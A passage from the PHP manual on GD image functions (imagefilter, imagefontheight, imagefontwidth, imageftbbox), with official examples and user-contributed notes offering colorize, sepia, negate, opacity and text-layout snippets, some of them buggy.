    imagepng($im, 'sean.png');
    imagedestroy($im);
}
else
{
    echo 'Image brightness change failed.';
}
?>

Example #3 imagefilter() colorize example

<?php
$im = imagecreatefrompng('philip.png');

/* R, G, B, so 0, 255, 0 is green */
if($im && imagefilter($im, IMG_FILTER_COLORIZE, 0, 255, 0))
{
    echo 'Image successfully shaded green.';

    imagepng($im, 'philip.png');
    imagedestroy($im);
}
else
{
    echo 'Green shading failed.';
}
?>

Example #4 imagefilter() negate example

<?php
// Define our negate function so its portable for
// php versions without imagefilter()
function negate($im)
{
    if(function_exists('imagefilter'))
    {
        return imagefilter($im, IMG_FILTER_NEGATE);
    }

    for($x = 0; $x < imagesx($im); ++$x)
    {
        for($y = 0; $y < imagesy($im); ++$y)
        {
            $index = imagecolorat($im, $x, $y);
            $rgb = imagecolorsforindex($index);
            $color = imagecolorallocate($im, 255 - $rgb['red'], 255 - $rgb['green'], 255 - $rgb['blue']);

            imagesetpixel($im, $x, $y, $color);
        }
    }

    return(true);
}

$im = imagecreatefromjpeg('kalle.jpg');

if($im && negate($im))
{
    echo 'Image successfully converted to negative colors.';

    imagejpeg($im, 'kalle.jpg', 100);
    imagedestroy($im);
}
else
{
    echo 'Converting to negative colors failed.';
}
?>

Example #5 imagefilter() pixelate example

<?php
// Load the PHP logo, we need to create two instances
// to show the differences
$logo1 = imagecreatefrompng('./php.png');
$logo2 = imagecreatefrompng('./php.png');

// Create the image instance we want to show the
// differences on
$output = imagecreatetruecolor(imagesx($logo1) * 2, imagesy($logo1));

// Apply pixelation to each instance, with a block
// size of 3
imagefilter($logo1, IMG_FILTER_PIXELATE, 3);
imagefilter($logo2, IMG_FILTER_PIXELATE, 3, true);

// Merge the differences onto the output image
imagecopy($output, $logo1, 0, 0, 0, 0, imagesx($logo1) - 1, imagesy($logo1) - 1);
imagecopy($output, $logo2, imagesx($logo2), 0, 0, 0, imagesx($logo2) - 1, imagesy($logo2) - 1);
imagedestroy($logo1);
imagedestroy($logo2);

// Output the differences
header('Content-Type: image/png');
imagepng($output);
imagedestroy($output);
?>

The above example will output something similar to:

Output of example : imagefilter() pixelate

Notes

Note: This function is only available if PHP is compiled with the bundled version of the GD library.

See Also

  • imageconvolution() - Apply a 3x3 convolution matrix, using coefficient and offset

User Contributed Notes

mail at pedrocandeias dot com 29-Oct-2011 07:20
// With transparent PNG file you can colorize the "positive" items and stand the transparent has it is - Beta code

<?php
header('Content-Type: image/png');

$im = imagecreatefrompng('image.png');
$width = imagesx($im);
$height = imagesy($im);
$imn = imagecreatetruecolor($width, $height);
imagealphablending($imn,false);
$col=imagecolorallocatealpha($imn,255,255,255,127);
imagesavealpha($imn,true);
imagefilledrectangle($imn,0,0,$width,$height,$col);
imagealphablending($imn,true);
imagecopy($imn, $im, 0, 0, 0, 0, $width, $height);
imagefilter($imn, IMG_FILTER_NEGATE);

// FOR A TRANSPARENT PNG FILE WITH SOMETHING INSIDE, YOU CAN CHANGE THE COLOR HERE: I HAVE RGB: 0, 255, 0
imagefilter($imn, IMG_FILTER_COLORIZE, 0, 255, 0);

imagepng($imn);
imagedestroy($imn);

?>
hadrien dot jouet at grownseed dot net 21-Jun-2011 06:58
For people looking to apply a 'multiply' effect on images like the one in Photoshop (generally b&w ones), you can achieve it with the IMG_FILTER_COLORIZE filter.

<?php
function multiplyColor(&$im, $color = array(255, 0, 0))
{
   //get opposite color
   $opposite = array(255 - $color[0], 255 - $color[1], 255 - $color[2]);

   //now we subtract the opposite color from the image
   imagefilter($im, IMG_FILTER_COLORIZE, -$opposite[0], -$opposite[1], -$opposite[2]);
}
?>
bushmakin stas (bushstas at mail dot ru) 17-Mar-2011 12:26
a function to make all colors gray except the only one
i made it myself so the code is note so beautiful )

<?php
function imagecolorfilter($im){

    $height = imagesy($im);
    $width = imagesx($im);
    for($x=0; $x<$width; $x++){
        for($y=0; $y<$height; $y++){
            $rgb = ImageColorAt($im, $x, $y);
            $r = ($rgb >> 16) & 0xFF;
            $g = ($rgb >> 8) & 0xFF;
            $b = $rgb & 0xFF;
            $c=($r+$g+$b)/3;

//if($g<$r || $g<$b+20){$r=$c;$g=$c; $b=$c;}//leaves only green
//if($b<$r || $b<$g){$r=$c;$g=$c; $b=$c;}//only blue
if($r<$g+30 || $r<$b){$r=$c;$g=$c; $b=$c;}//only red
//if($r<$g-1 || $r>$g+60 || $b>$g-50){$r=$c;$g=$c; $b=$c;}//only yellow

imagesetpixel($im, $x, $y,imagecolorallocate($im, $r,$g,$b));
        }
    }
}

header ("Content-type: image/jpeg");
$im = imagecreatefromjpeg("image.jpg");
imagecolorfilter($im);
imagejpeg($im);
?>
jonathan dot gotti at gmail dot com 30-Nov-2010 06:38
IMG_FILTER_COLORIZE doesn't seem to work on palette image, here's a way to achieve same result with palette image:

<?php
//$color is an array containing rvb infos (ie: array(255,80,0))
function paletteColorize($imgResource,array $color){
    $nbColors = imagecolorstotal($imgResource);
    for($i=0; $i<$nbColors; $i++){
        $c = array_values(imagecolorsforindex($imgRes,$i));
        for($y=0;$y<3;$y++)
            $c[$y] = max(0,min(255,$c[$y]+$color[$y]));
        imagecolorset($imgResource,$i,$c[0],$c[1],$c[2]);
    }
}
?>

Here's also a function that work on both truecolor and palette images that try to do something similar to greyscale with a given color
<?php
function colorScale($imgRes,array $color){
        imagefilter($imgRes,IMG_FILTER_GRAYSCALE);
        $color = self::_read_color($color);
        $luminance=($color[0]+$color[1]+$color[2])/3; // average luminance added by the color
        $brightnessCorrection = $luminance/3; // quantity of brightness to correct for each channel
        if( $luminance < 127 ){
            $brightnessCorrection -= 127/3; // color is dark so we have to negate the brightness correction
        }
        if(! imageistruecolor($imgRes) ){
            $nbColors = imagecolorstotal($imgRes);
            for($i=0; $i<$nbColors; $i++){
                $c = array_values(imgagecolorsforindex($imgRes,$i));
                for($y=0;$y<3;$y++){
                    $c[$y] = max(0, min(255, $c[$y] + ($color[$y]-$luminance) + $brightnessCorrection) ); // parentheses just for better comprehension
                }
                imagecolorset($omgRes,$i,$c[0],$c[1],$c[2]);
            }
        }else{ // much easier with truecolor
            imagefilter($imgRes, IMG_FILTER_COLORIZE, $color[0]-$luminance, $color[1]-$luminance, $color[2]-$luminance);
            imagefilter($imgRes, IMG_FILTER_BRIGHTNESS, $brightnessCorrection);
        }
}
?>

with hope that someone will find this useful
mail at kavisiegel dot com 25-Jun-2009 11:11
Searching for a way to easily change the color of the image, I tried IMG_FILTER_COLORIZE. I was unable to get the quality results I wanted. It turns out PHP's Colorize is the equivalent of Photoshop's "Linear Dodge" layer filter.

Hue adjustments have always worked well for me, so I figured I could try with PHP.
This function is kind of slow on larger images, but on small images like what I'm using it for, the difference is trivial.

The script calculates the ratio or red, to green, to blue in the color provided, then scales the image appropriately... unfortunately, it does it pixel by pixel.

Here's a demo and comparison of this function, to photoshop's hue function, to PHP's colorize. http://img146.imageshack.us/img146/3167/imagefilterhuedemo.png

<?php
function imagefilterhue($im,$r,$g,$b){
    $rgb = $r+$g+$b;
    $col = array($r/$rgb,$b/$rgb,$g/$rgb);
    $height = imagesy($im);
    $width = imagesx($im);
    for($x=0; $x<$width; $x++){
        for($y=0; $y<$height; $y++){
            $rgb = ImageColorAt($im, $x, $y);
            $r = ($rgb >> 16) & 0xFF;
            $g = ($rgb >> 8) & 0xFF;
            $b = $rgb & 0xFF;
            $newR = $r*$col[0] + $g*$col[1] + $b*$col[2];
            $newG = $r*$col[2] + $g*$col[0] + $b*$col[1];
            $newB = $r*$col[1] + $g*$col[2] + $b*$col[0];
            imagesetpixel($im, $x, $y,imagecolorallocate($im, $newR, $newG, $newB));
        }
    }
}
header ("Content-type: image/jpeg");
$im = imagecreatefromjpeg("test.jpg");

// Usage: Just as imagefilter(), except with no filtertype.
// imagefilterhue(resource $image, int $red, int $green , int $blue)
imagefilterhue($im,2,70,188);

// The equivalent with colorize, as tested in demo image: imagefilter($im, IMG_FILTER_COLORIZE, 2, 70, 188);

imagejpeg($im);
?>
aiden dot mail at freemail dot hu 29-Mar-2008 12:16
Function to change the transparency of a png image on the fly. Works only with PNG, and with a browser supporting alpha channel.
The function stretches the opacity-range of the image, so that the most opaque pixel(s) will be set to the given opacity. (Other opacity values in pixels are modified accordingly.)
Returns success or failure.

<?php
function filter_opacity( &$img, $opacity ) //params: image resource id, opacity in percentage (eg. 80)
        {
            if( !isset( $opacity ) )
                { return false; }
            $opacity /= 100;

            //get image width and height
            $w = imagesx( $img );
            $h = imagesy( $img );

            //turn alpha blending off
            imagealphablending( $img, false );

            //find the most opaque pixel in the image (the one with the smallest alpha value)
            $minalpha = 127;
            for( $x = 0; $x < $w; $x++ )
                for( $y = 0; $y < $h; $y++ )
                    {
                        $alpha = ( imagecolorat( $img, $x, $y ) >> 24 ) & 0xFF;
                        if( $alpha < $minalpha )
                            { $minalpha = $alpha; }
                    }

            //loop through image pixels and modify alpha for each
            for( $x = 0; $x < $w; $x++ )
                {
                    for( $y = 0; $y < $h; $y++ )
                        {
                            //get current alpha value (represents the TANSPARENCY!)
                            $colorxy = imagecolorat( $img, $x, $y );
                            $alpha = ( $colorxy >> 24 ) & 0xFF;
                            //calculate new alpha
                            if( $minalpha !== 127 )
                                { $alpha = 127 + 127 * $opacity * ( $alpha - 127 ) / ( 127 - $minalpha ); }
                            else
                                { $alpha += 127 * $opacity; }
                            //get the color index with new alpha
                            $alphacolorxy = imagecolorallocatealpha( $img, ( $colorxy >> 16 ) & 0xFF, ( $colorxy >> 8 ) & 0xFF, $colorxy & 0xFF, $alpha );
                            //set pixel with the new color + opacity
                            if( !imagesetpixel( $img, $x, $y, $alphacolorxy ) )
                                { return false; }
                        }
                }
            return true;
        }
?>

Example for use:

 <?php
  $image = imagecreatefrompng( "img.png" );
  filter_opacity( $image, 75 );
  header( "content-type: image/png" );
  imagepng( $image );
  imagedestroy( $image );
?>
Kae Cyphet 02-Dec-2007 04:23
To solve that annoying problem of having to install a pre-compiled version of GD just to get imagefilter($image,IMAGE_FILTER_NEGATE) working.

here is an open source solution.
uses the standard stuff included in php when you uncomment 'extension=php_gd2.dll' in the php.ini file and there ya go!

Useage:
<?php
$im = imagecreatefromjpeg("my_fav_image.jpg");

header("Content-type: image/jpg");
imagejpeg(invertimage($im));

imagedestroy($im);
?>

'=================================

<?php
function int2rgb($myint)
{
  return array('red' => 0xFF & ($myint >> 0x10), 'green' => 0xFF & ($myint >> 0x8), 'blue' => 0xFF & $myint);
}

function invertimage($im)
{
 $wid = imagesx($im);
 $hei = imagesy($im);
 $im2 = imagecreatetruecolor($wid,$hei);
 $i=0;
 $j=0;
 $rgb = array('red' => 0, 'green' => 0, 'blue' => 0);
 $ref = 0;

 for($i = 0;$i < $wid; $i++)
 {
  for($j = 0;$j < $hei; $j++)
  {
   $rgb = int2rgb(imagecolorat($im,$i,$j));
   $ref = imagecolorallocate($im2,255 - intval($rgb['red']),255 - intval($rgb['green']),255 - intval($rgb['blue']));
   imagesetpixel($im2,$i,$j,$ref);
  }
 }
 return $im2;
}
?>
michaeln no at spam associationsplus ca 21-Nov-2007 08:11
Note: applying IMG_FILTER_EMBOSS to text and using in a customization to the CAPTCHA image script in phpBB or a project of your own is a very good way to stop OCR-ing bots from getting through. Embossed serif fonts are fairly easy for the human eye to understand but to an OCR script it is extremely difficult because it seems to give it the illusion of 3D.

If you only allocate 2 or 3 colours in the image, it uses the background colour alot in the embossed text, which greatly contributes to this.

I made my own custom CAPTCHA script to stop phpBB post spam for a client site I was developing and I have gone from getting 2-3 new spam users created every day to zero.

Anything with the source code freely available out there right now is possible to be defeated by spammers once one of them stars sharing code with the other spammers, but if you run something at least someone custom, their bots will pass you over.
ssttoo at gmail dot com 13-Nov-2007 12:31
Here's a page that shows the different filters in action
http://www.phpied.com/image-fun-with-php-part-2/
Also shows some quick ways to do sepia.
admin at phpgfx dot com 26-Aug-2007 09:52
this is a sepia function using microsoft's definition

<?php

function imagesepia( $img ) {
    $total = imagecolorstotal( $img );
    for ( $i = 0; $i < $total; $i++ ) {
        $index = imagecolorsforindex( $img, $i );
        $red = ( $index["red"] * 0.393 + $index["green"] * 0.769 + $index["blue"] * 0.189 ) / 1.351;
        $green = ( $index["red"] * 0.349 + $index["green"] * 0.686 + $index["blue"] * 0.168 ) / 1.203;
        $blue = ( $index["red"] * 0.272 + $index["green"] * 0.534 + $index["blue"] * 0.131 ) / 2.140;
        imagecolorset( $img, $i, $red, $green, $blue );
    }
}

?>
webmaster at designsbykosi dot info 08-May-2007 12:56
This will only work if you have php5. For php4, you'll have to use the sepia function set webmaster at qudi dot de suggested.
fananf at nerdshack dot com 16-Mar-2007 09:26
If you're looking for fast sepia effect that can be used for on-the-fly thumbnails generation you can't use sophisticated functions. The faster and much better way than described by webmaster at qudi dot de in the note from 31-Jan-2006 is applying colorize filter AFTER grayscale.

<?php

(...)

imagefilter($yourimage, IMG_FILTER_GRAYSCALE); imagefilter($yourimage, IMG_FILTER_COLORIZE, 90, 60, 40);

(...)

?>

I used (90,60,40) for my sepia after couple of tests, however, if you need darker or lighter just check what suits you best.
trucex email over at gmail 14-Feb-2007 12:31
It appears that imagefilter doesn't play nice with apha. If you run an imagefilter on a transparent image it'll return a black image...similar to a lot of Photoshop plugins do.
PanuWorld 14-Jan-2007 06:55
The documentation misses the exact meaning and valid ranges of the arguments for ImageFilter(). According to the 5.2.0 sources the arguments are:
IMG_FILTER_BRIGHTNESS
-255 = min brightness, 0 = no change, +255 = max brightness

IMG_FILTER_CONTRAST
-100 = max contrast, 0 = no change, +100 = min contrast (note the direction!)

IMG_FILTER_COLORIZE
Adds (subtracts) specified RGB values to each pixel. The valid range for each color is -255...+255, not 0...255. The correct order is red, green, blue.
-255 = min, 0 = no change, +255 = max
This has not much to do with IMG_FILTER_GRAYSCALE.

IMG_FILTER_SMOOTH
Applies a 9-cell convolution matrix where center pixel has the weight arg1 and others weight of 1.0. The result is normalized by dividing the sum with arg1 + 8.0 (sum of the matrix).
any float is accepted, large value (in practice: 2048 or more) = no change

ImageFilter seem to return false if the argument(s) are out of range for the chosen filter.
nancy at hypertextdigital dot com 03-Aug-2006 02:16
This routine was just what I was looking for, I wanted web admin users to be able to recolour their uploaded photos (to go with a news item) either a blue tint or sepia to match the appearance of other colours used on the website.

Using a form with a select box containing the RGB values, I can give them the option of either of the two tints or no colourization at all, plus resize their images to the viewing size and a thumbnail image on the fly without having to use any other image editing software.
santibari at fibertel dot com 27-Feb-2006 11:37
A colorize algorithm wich preserves color luminosity (i.e black
will output black, and white will output white).
This works in PHP4 and is great for customizing interfaces
dinamically.

<?php
function colorize($img_src,$img_dest, $r, $g, $b)
{
if(!$im = imagecreatefromgif($img_src))
  return "Could not use image $img_src";

//We will create a monochromatic palette based on
//the input color
//which will go from black to white
//Input color luminosity: this is equivalent to the
//position of the input color in the monochromatic
//palette
$lum_inp=round(255*($r+$g+$b)/765); //765=255*3

//We fill the palette entry with the input color at its
//corresponding position

$pal[$lum_inp]['r']=$r;
$pal[$lum_inp]['g']=$g;
$pal[$lum_inp]['b']=$b;

//Now we complete the palette, first we'll do it to
//the black,and then to the white.

//FROM input to black
//===================
//how many colors between black and input
$steps_to_black=$lum_inp;

//The step size for each component
if($steps_to_black)
 {
 $step_size_red=$r/$steps_to_black;
 $step_size_green=$g/$steps_to_black;
 $step_size_blue=$b/$steps_to_black;
 }

for($i=$steps_to_black;$i>=0;$i--)
 {
 $pal[$steps_to_black-$i]['r']=$r-round($step_size_red*$i);
 $pal[$steps_to_black-$i]['g']=$g-round($step_size_green*$i);
 $pal[$steps_to_black-$i]['b']=$b-round($step_size_blue*$i);
 }

//From input to white:
//===================
//how many colors between input and white
$steps_to_white=255-$lum_inp;

if($steps_to_white)
  {
  $step_size_red=(255-$r)/$steps_to_white;
  $step_size_green=(255-$g)/$steps_to_white;
  $step_size_blue=(255-$b)/$steps_to_white;
  }
 else
  $step_size_red=$step_size_green=$step_size_blue=0;

 //The step size for each component
 for($i=($lum_inp+1);$i<=255;$i++)
  {
  $pal[$i]['r']=$r + round($step_size_red*($i-$lum_inp));
  $pal[$i]['g']=$g + round($step_size_green*($i-$lum_inp));
  $pal[$i]['b']=$b + round($step_size_blue*($i-$lum_inp));
  }
//--- End of palette creation

//Now,let's change the original palette into the one we
//created
for($c = 0; $c < $palette_size; $c++)
 {
 $col = imagecolorsforindex($im, $c);
 $lum_src=round(255*($col['red']+$col['green']
                +$col['blue'])/765);
 $col_out=$pal[$lum_src];
 imagecolorset($im, $c, $col_out['r'],
                                $col_out['g'],
                                $col_out['b']);
 }

 //save the image file
 imagepng($im,$img_dest);
 imagedestroy($im);
}//end function colorize
?>
webmaster at qudi dot de 31-Jan-2006 06:53
for a quick, ok-looking, sepia-effect (also in php4) I just use this little fellow, since a real implementation of sepia was just way too slow.

function pseudosepia(&$im,$percent){
      $sx=imagesx($im);
      $sy=imagesy($im);
      $filter=imagecreatetruecolor($sx,$sy);
      $c=imagecolorallocate($filter,100,50,50);
      imagefilledrectangle($filter,0,0,$sx,$sy,$c);
      imagecopymerge($im,$filter,0,0,0,0,$sx,$sy,$percent);
}
a php user at nowhere dot com 20-Dec-2005 12:48
http://www.hudzilla.org/phpbook/read.php/11_2_15
for more detailed info, and some <i>arg</i> guidelines.
vdepizzol at hotmail dot com 04-Sep-2004 01:36
Examples using imagefilter():

<?php
$im = imagecreatefrompng('dave.png');
if ($im && imagefilter($im, IMG_FILTER_GRAYSCALE)) {
    echo 'Image converted to grayscale.';
    imagepng($im, 'dave.png');
} else {
    echo 'Conversion to grayscale failed.';
}

imagedestroy($im);
?>

/////////////////////////////

<?php
$im = imagecreatefrompng('sean.png');
if ($im && imagefilter($im, IMG_FILTER_BRIGHTNESS, 20)) {
    echo 'Image brightness changed.';
    imagepng($im, 'sean.png');
} else {
    echo 'Image brightness change failed.';
}

imagedestroy($im);
?>

/////////////////////////////

<?php
$im = imagecreatefrompng('philip.png');

/* R, G, B, so 0, 255, 0 is green */
if ($im && imagefilter($im, IMG_FILTER_COLORIZE, 0, 255, 0)) {
    echo 'Image successfully shaded green.';
    imagepng($im, 'philip.png');
} else {
    echo 'Green shading failed.';
}

imagedestroy($im);
?>
kees at tweakers dot net 20-Jul-2004 06:26
From what i have been able to find from this function, it accepts the following arguments:
        IMG_FILTER_NEGATE
        IMG_FILTER_GRAYSCALE
        IMG_FILTER_EDGEDETECT
        IMG_FILTER_GAUSSIAN_BLUR
        IMG_FILTER_SELECTIVE_BLUR
        IMG_FILTER_EMBOSS
        IMG_FILTER_MEAN_REMOVAL

The following arguments need one or more arguments.
        IMG_FILTER_SMOOTH, -1924.124
        IMG_FILTER_COLORIZE, -127.12, -127.98, 127
        IMG_FILTER_CONTRAST, -90
        IMG_FILTER_BRIGHTNESS, 98

I haven't tested them all, the names speak for themselves.
imagefilltoborder
imagefontheight
GD and Image Functions


Get font height

imagefilter
imagefontwidth
GD and Image Functions
PHP Manual

imagefontheight

(PHP 4, PHP 5)

imagefontheight — Get font height

Description

int imagefontheight ( int $font )

Returns the pixel height of a character in the specified font.

Parameters

font

Can be 1, 2, 3, 4, 5 for built-in fonts in latin2 encoding (where higher numbers corresponding to larger fonts) or any of your own font identifiers registered with imageloadfont().

Return Values

Returns the height of the pixel.

Examples

Example #1 Using imagefontheight() on built-in fonts

<?php
echo 'Font height: ' . imagefontheight(4);
?>

The above example will output something similar to:

Font height: 16

Example #2 Using imagefontheight() together with imageloadfont()

<?php
// Load a .gdf font
$font = imageloadfont('anonymous.gdf');

echo 'Font height: ' . imagefontheight($font);
?>

The above example will output something similar to:

Font height: 43

See Also

  • imagefontwidth() - Get font width
  • imageloadfont() - Load a new font

User Contributed Notes

dev at numist dot net 24-Jan-2005 03:47
This library function is very useful for variable-sized images that only contain text, like this function that I use to output error messages that accumulate and cause a fatal error in my thumbnailer:

<?php
function errimg($error) {
   // $error is an array of error messages, each taking up one line
   // initialization
   $font_size = 2;
   $text_width = imagefontwidth($font_size);
   $text_height = imagefontheight($font_size);
   $width = 0;
   // the height of the image will be the number of items in $error
   $height = count($error);

   // this gets the length of the longest string, in characters to determine
   // the width of the output image
   for($x = 0; $x < count($error); $x++) {
      if(strlen($error[$x]) > $width) {
         $width = strlen($error[$x]);
      }
   }

   // next we turn the height and width into pixel values
   $width = $width * $text_width;
   $height = $height * $text_height;

   // create image with dimensions to fit text, plus two extra rows and
   // two extra columns for border
   $im = imagecreatetruecolor($width + ( 2 * $text_width ),
                              $height + ( 2 * $text_height ) );
   if($im) {
      // image creation success
      $text_color = imagecolorallocate($im, 233, 14, 91);
      // this loop outputs the error message to the image
      for($x = 0; $x < count($error); $x++) {
         // imagestring(image, font, x, y, msg, color);
         imagestring($im, $font_size, $text_width,
                     $text_height + $x * $text_height, $error[$x],
                     $text_color);
      }
      // now, render your image using your favorite image* function
      // (imagejpeg, for instance)
      out($im, array(), $error);
   } else {
      // image creation failed, so just dump the array along with extra error
      $error[] = "Is GD Installed?";
      die(var_dump($error));
   }
}
?>

The function expects an array of error messages to be passed in, and then outputs an image containing the contents of the array.  This is especially useful if your code is contained in an html page that will display rexes if the images do not render correctly.

This function displays the array in image form with index 0 at the top, and the highest index at the bottom.

You have to write out() yourself though, see imagejpeg, imagepng, etc for good ideas on how to write a decent output function.
imagefilter
imagefontwidth
GD and Image Functions


Get font width

imagefontheight
imageftbbox
GD and Image Functions
PHP Manual

imagefontwidth

(PHP 4, PHP 5)

imagefontwidth — Get font width

Description

int imagefontwidth ( int $font )

Returns the pixel width of a character in font.

Parameters

font

Can be 1, 2, 3, 4, 5 for built-in fonts in latin2 encoding (where higher numbers corresponding to larger fonts) or any of your own font identifiers registered with imageloadfont().

Return Values

Returns the width of the pixel

Examples

Example #1 Using imagefontwidth() on built-in fonts

<?php
echo 'Font width: ' . imagefontwidth(4);
?>

The above example will output something similar to:

Font width: 8

Example #2 Using imagefontwidth() together with imageloadfont()

<?php
// Load a .gdf font
$font = imageloadfont('anonymous.gdf');

echo 'Font width: ' . imagefontwidth($font);
?>

The above example will output something similar to:

Font width: 23

See Also

  • imagefontheight() - Get font height
  • imageloadfont() - Load a new font

User Contributed Notes

puremango dot co dot uk at gmail dot com 31-Aug-2005 01:26
a function that is faster than ImageFontWidth for certain uses:

<?
function ImageFontWidthByFilename($filename)
{
    $handle = @fopen($font_locations[$i],"r");
    $c_wid = @fread($handle,11);
    @fclose($handle);
    return(ord($c_wid{8})+ord($c_wid{9})+ord($c_wid{10})+ord($c_wid{11}));
}

echo "./font.gdf is ".ImageFontWidthByFilename("./font.gdf")." pixels wide";

?>

reading the widths of 5 different fonts, 500 times, ImageFontWidth took an average of ~0.004 seconds per 5 reads, my function takes ~0.0003 per 5.

The reason is that ImageFontWidth requires a call to ImageLoadFont, but if for some reason you won't need to load the font, just find out the width, this is the function for you :-)

more such wonders at http://puremango.co.uk
dev at numist dot net 24-Jan-2005 03:47
This library function is very useful for variable-sized images that only contain text, like this function that I use to output error messages that accumulate and cause a fatal error in my thumbnailer:

<?php
function errimg($error) {
   // $error is an array of error messages, each taking up one line
   // initialization
   $font_size = 2;
   $text_width = imagefontwidth($font_size);
   $text_height = imagefontheight($font_size);
   $width = 0;
   // the height of the image will be the number of items in $error
   $height = count($error);

   // this gets the length of the longest string, in characters to determine
   // the width of the output image
   for($x = 0; $x < count($error); $x++) {
      if(strlen($error[$x]) > $width) {
         $width = strlen($error[$x]);
      }
   }

   // next we turn the height and width into pixel values
   $width = $width * $text_width;
   $height = $height * $text_height;

   // create image with dimensions to fit text, plus two extra rows and
   // two extra columns for border
   $im = imagecreatetruecolor($width + ( 2 * $text_width ),
                              $height + ( 2 * $text_height ) );
   if($im) {
      // image creation success
      $text_color = imagecolorallocate($im, 233, 14, 91);
      // this loop outputs the error message to the image
      for($x = 0; $x < count($error); $x++) {
         // imagestring(image, font, x, y, msg, color);
         imagestring($im, $font_size, $text_width,
                     $text_height + $x * $text_height, $error[$x],
                     $text_color);
      }
      // now, render your image using your favorite image* function
      // (imagejpeg, for instance)
      out($im, array(), $error);
   } else {
      // image creation failed, so just dump the array along with extra error
      $error[] = "Is GD Installed?";
      die(var_dump($error));
   }
}
?>

The function expects an array of error messages to be passed in, and then outputs an image containing the contents of the array.  This is especially useful if your code is contained in an html page that will display rexes if the images do not render correctly.

This function displays the array in image form with index 0 at the top, and the highest index at the bottom.

You have to write out() yourself though, see imagejpeg, imagepng, etc for good ideas on how to write a decent output function.
imagefontheight
imageftbbox
GD and Image Functions


Give the bounding box of a text using fonts via freetype2

imagefontwidth
imagefttext
GD and Image Functions
PHP Manual

imageftbbox

(PHP 4 >= 4.0.7, PHP 5)

imageftbbox — Give the bounding box of a text using fonts via freetype2

Description

array imageftbbox ( float $size , float $angle , string $fontfile , string $text [, array $extrainfo ] )

This function calculates and returns the bounding box in pixels for a FreeType text.

Parameters

size

The font size. Depending on your version of GD, this should be specified as the pixel size (GD1) or point size (GD2).

angle

Angle in degrees in which text will be measured.

fontfile

The name of the TrueType font file (can be a URL). Depending on which version of the GD library that PHP is using, it may attempt to search for files that do not begin with a leading '/' by appending '.ttf' to the filename and searching along a library-defined font path.

text

The string to be measured.

extrainfo

Possible array indexes for extrainfo
Key | Type | Meaning
linespacing | float | Defines drawing linespacing

Return Values

imageftbbox() returns an array with 8 elements representing four points making the bounding box of the text:

0 | lower left corner, X position
1 | lower left corner, Y position
2 | lower right corner, X position
3 | lower right corner, Y position
4 | upper right corner, X position
5 | upper right corner, Y position
6 | upper left corner, X position
7 | upper left corner, Y position

The points are relative to the text regardless of the angle, so "upper left" means in the top left-hand corner seeing the text horizontally.

Examples

Example #1 imageftbbox() example

<?php
// Create a 300x150 image
$im = imagecreatetruecolor(300, 150);
$black = imagecolorallocate($im, 0, 0, 0);
$white = imagecolorallocate($im, 255, 255, 255);

// Set the background to be white
imagefilledrectangle($im, 0, 0, 299, 299, $white);

// Path to our font file
$font = './arial.ttf';

// First we create our bounding box
$bbox = imageftbbox(10, 0, $font, 'The PHP Documentation Group');

// This is our cordinates for X and Y
$x = $bbox[0] + (imagesx($im) / 2) - ($bbox[4] / 2) - 5;
$y = $bbox[1] + (imagesy($im) / 2) - ($bbox[5] / 2) - 5;

imagefttext($im, 10, 0, $x, $y, $black, $font, 'The PHP Documentation Group');

// Output to browser
header('Content-Type: image/png');

imagepng($im);
imagedestroy($im);
?>

Notes

Note: This function requires GD 2.0.1 or later (2.0.28 or later is recommended).

Note: This function is only available if PHP is compiled with freetype support (--with-freetype-dir=DIR )

Changelog

Version | Description
4.3.5 | extrainfo was made optional.

User Contributed Notes

Johan 19-Nov-2007 07:38
For alignment i used this method:

if($align == "center" || $align == "right")
    {
        $verticaltxtspace = $backwidth - (2 * $posx);
        $spacepositions = imagettfbbox($size, $angle, "fonts/verdanaz.ttf", " ");
        $spacepx = $spacepositions[4] - $spacepositions[0];

        // Split text in lines
        $lines = split("[\r][\n]", $text);
        for($count = 0; $count < count($lines); $count++)
        {
            $textpositions = imagettfbbox($size, $angle, "fonts/verdanaz.ttf", $lines[$count]);
            $textpx = $textpositions[2] - $textpositions[0];

            if($align == "right")
            {
                $spaces = ($verticaltxtspace - $textpx) / $spacepx;
            }
            else if($align == "center")
            {
                $spaces = (($verticaltxtspace - $textpx)/2) / $spacepx;
            }

            // Add spaces
            $line = $lines[$count];
            for($i = 0; $i < $spaces; $i++)
            {
                $line = " " . $line;
            }
            $lines[$count] = $line;
        }

        // Create new text of lines
        $text = "";
        for($count = 0; $count < count($lines); $count++)
        {
            $text .= $lines[$count] . "\r\n";
        }
    }

    //    Draw the shadow text on de shadow
    imagettftext($background, $size, $angle, $posx, $posy, $textcolor, "fonts/verdanaz.ttf",  $text);
theo v e -2 28-Dec-2005 07:10
ah... the problem between imageftbbox() and imagefttext() lies in the mirroring of the y-axes.
Below you see, for a font-size 16 the boudingboxes of "b", "p" and "bp":
< b: w=9 h=15
b(0,-1)
b(9,-1)
b(9,-16)
b(0,-16)
< p: w=9 h=16
p(0,4)
p(9,4)
p(9,-12)
p(0,-12)
< bp: w=20 h=20
bp(0,4)
bp(20,4)
bp(20,-16)
bp(0,-16)
If drawing "bp" using imagefttext() at y=0, the the top of "bp" indeed is at y=-16, and the bottom of "bp" at y=4. (Plus or minus a pixel here and there, because at y=0 there actually is a vissible pixel.)
theo v e 28-Dec-2005 06:20
IF we accept the idea that a bouding box is returned then:
    $bbox= imageftbbox ( $size, $angle, $font, $txt);
    $width = abs($bbox[4] - $bbox[0]);
    $height = abs($bbox[1] - $bbox[5]);
may be a better kind of math. But it depends... You may want to subtract yet another '1' from both the width and the height.
But try drawing a "p" and next try a "d". Their bounding boxes differ 1 px in height. Of course the respective boxes, by  imagefttext(), are placed at a different y coordinate. I noticed that if a "p" or a "b" is drawn at (0, 30) the first character of the string actually starts on, fills, the third horizontal pixel. Also: if your image is only 30 pixels in heigth, drawing text at (0, 30) means that the bottoms parts of "p", "q", "y" and alike are somewhere else...
fernando 14-Jul-2005 01:20
imagettfbbox() returns an array with 8 elements representing four points making the bounding box of the text:

0 lower left corner, X position
1 lower left corner, Y position
2 lower right corner, X position
3 lower right corner, Y position
4 upper right corner, X position
5 upper right corner, Y position
6 upper left corner, X position
7 upper left corner, Y position

The points are relative to the text regardless of the angle, so "upper left" means in the top left-hand corner seeing the text horizontally.
groomed at users dot sf dot net 27-May-2004 12:38
ImageFTBBox returns a bounding box, not metrics, as some (most?) of the notes above seem to assume. The 8 values it returns specify the 4 corners of this bounding box. So to properly determine the width and height of a string you need to do:

$bbox = ImageFTBBox(...);
$width = abs($bbox[0]) + abs($bbox[2]); // distance from left to right
$height = abs($bbox[1]) + abs($bbox[5]); // distance from top to bottom
sectionthirty1 at yahoo dot com 22-Apr-2004 02:50
